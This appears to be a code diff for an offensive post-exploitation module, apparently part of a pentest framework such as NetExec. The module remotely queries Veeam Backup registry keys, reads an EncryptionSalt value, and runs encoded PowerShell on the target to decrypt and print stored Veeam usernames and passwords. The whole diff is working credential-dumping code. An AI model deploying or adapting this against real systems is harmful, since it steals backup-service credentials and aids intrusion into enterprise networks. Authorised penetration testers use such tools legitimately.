@@ -40,6 +40,9 @@ def checkVeeamInstalled(self, context, connection):
4040 PostgresUserForWindowsAuth = ""
4141 SqlDatabaseName = ""
4242
43+ # Salt for newer Veeam versions
44+ salt = ""
45+
4346 try :
4447 remoteOps = RemoteOperations (connection .conn , False )
4548 remoteOps .enableRegistry ()
@@ -72,6 +75,8 @@ def checkVeeamInstalled(self, context, connection):
7275 SqlDatabase = rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "SqlDatabaseName" )[1 ].split ("\x00 " )[:- 1 ][0 ]
7376 SqlInstance = rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "SqlInstanceName" )[1 ].split ("\x00 " )[:- 1 ][0 ]
7477 SqlServer = rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "SqlServerName" )[1 ].split ("\x00 " )[:- 1 ][0 ]
78+
79+ salt = self .get_salt (context , remoteOps , regHandle )
7580 except DCERPCException as e :
7681 if str (e ).find ("ERROR_FILE_NOT_FOUND" ):
7782 context .log .debug ("No Veeam v12 installation found" )
@@ -107,36 +112,46 @@ def checkVeeamInstalled(self, context, connection):
107112 # Check if we found an SQL Server of some kind
108113 if SqlDatabase and SqlInstance and SqlServer :
109114 context .log .success (f'Found Veeam DB "{ SqlDatabase } " on SQL Server "{ SqlServer } \\ { SqlInstance } "! Extracting stored credentials...' )
110- credentials = self .executePsMssql (context , connection , SqlDatabase , SqlInstance , SqlServer )
115+ credentials = self .executePsMssql (connection , SqlDatabase , SqlInstance , SqlServer , salt )
111116 self .printCreds (context , credentials )
112117 elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName :
113118 context .log .success (f'Found Veeam DB "{ SqlDatabaseName } " on an PostgreSQL Instance! Extracting stored credentials...' )
114- credentials = self .executePsPostgreSql (context , connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName )
119+ credentials = self .executePsPostgreSql (connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName , salt )
115120 self .printCreds (context , credentials )
116121
117- def stripXmlOutput (self , context , output ):
118- return output .split ("CLIXML" )[1 ].split ("<Objs Version" )[0 ]
122+ def get_salt (self , context , remoteOps , regHandle ):
123+ try :
124+ keyHandle = rrp .hBaseRegOpenKey (remoteOps ._RemoteOperations__rrp , regHandle , "SOFTWARE\\ Veeam\\ Veeam Backup and Replication\\ Data" )["phkResult" ]
125+ return rrp .hBaseRegQueryValue (remoteOps ._RemoteOperations__rrp , keyHandle , "EncryptionSalt" )[1 ].split ("\x00 " )[:- 1 ][0 ]
126+ except DCERPCException as e :
127+ if str (e ).find ("ERROR_FILE_NOT_FOUND" ):
128+ context .log .debug ("No Salt found" )
129+ except Exception as e :
130+ context .log .fail (f"UNEXPECTED ERROR: { e } " )
131+ context .log .debug (traceback .format_exc ())
119132
120- def executePsMssql (self , context , connection , SqlDatabase , SqlInstance , SqlServer ):
133+ def executePsMssql (self , connection , SqlDatabase , SqlInstance , SqlServer , salt ):
121134 self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_SqlDatabase" , SqlDatabase )
122135 self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_SqlInstance" , SqlInstance )
123136 self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_SqlServer" , SqlServer )
137+ self .psScriptMssql = self .psScriptMssql .replace ("REPLACE_ME_b64Salt" , salt )
124138 psScipt_b64 = b64encode (self .psScriptMssql .encode ("UTF-16LE" )).decode ("utf-8" )
125139
126140 return connection .execute (f"powershell.exe -e { psScipt_b64 } -OutputFormat Text" , True )
127141
128- def executePsPostgreSql (self , context , connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName ):
142+ def executePsPostgreSql (self , connection , PostgreSqlExec , PostgresUserForWindowsAuth , SqlDatabaseName , salt ):
129143 self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_PostgreSqlExec" , PostgreSqlExec )
130144 self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_PostgresUserForWindowsAuth" , PostgresUserForWindowsAuth )
131145 self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_SqlDatabaseName" , SqlDatabaseName )
146+ self .psScriptPostgresql = self .psScriptPostgresql .replace ("REPLACE_ME_b64Salt" , salt )
132147 psScipt_b64 = b64encode (self .psScriptPostgresql .encode ("UTF-16LE" )).decode ("utf-8" )
133148
134149 return connection .execute (f"powershell.exe -e { psScipt_b64 } -OutputFormat Text" , True )
135150
136151 def printCreds (self , context , output ):
137152 # Format output if returned in some XML Format
138153 if "CLIXML" in output :
139- output = self . stripXmlOutput ( context , output )
154+ output = output . split ( "CLIXML" )[ 1 ]. split ( "<Objs Version" )[ 0 ]
140155
141156 if "Access denied" in output :
142157 context .log .fail ("Access denied! This is probably due to an AntiVirus software blocking the execution of the PowerShell script." )
@@ -152,13 +167,20 @@ def printCreds(self, context, output):
152167 # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError.
153168 # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes.
154169 try :
170+ context .log .highlight (f"{ 'Username' :<40} { 'Password' :<40} { 'Description' } " )
171+ context .log .highlight (f"{ '--------' :<40} { '--------' :<40} { '-----------' } " )
155172 for account in output_stripped :
156- user , password = account .split (" " , 1 )
157- password = password .strip ().replace ("WHITESPACE_ERROR" , " " )
158- user = user .strip ()
159- context .log .highlight (f"{ user } :{ password } " )
160- if " " in password :
161- context .log .fail (f'Password contains whitespaces! The password for user "{ user } " is: "{ password } "' )
173+ # Remove multiple whitespaces
174+ account = " " .join (account .split ())
175+ try :
176+ user , password , description = account .split (" " , 2 )
177+ except ValueError :
178+ user , password = account .split (" " , 1 )
179+ description = ""
180+ user = user .strip ().replace ("WHITESPACE_ERROR" , " " ).strip ()
181+ password = password .strip ().replace ("WHITESPACE_ERROR" , " " ).strip ()
182+ description = description .strip ().replace ("WHITESPACE_ERROR" , " " ).strip ()
183+ context .log .highlight (f"{ user :<40} { password :<40} { description } " )
162184 except ValueError :
163185 context .log .fail (f"Powershell returned unexpected output: { output_stripped } " )
164186 context .log .fail ("Please report this issue on GitHub!" )
0 commit comments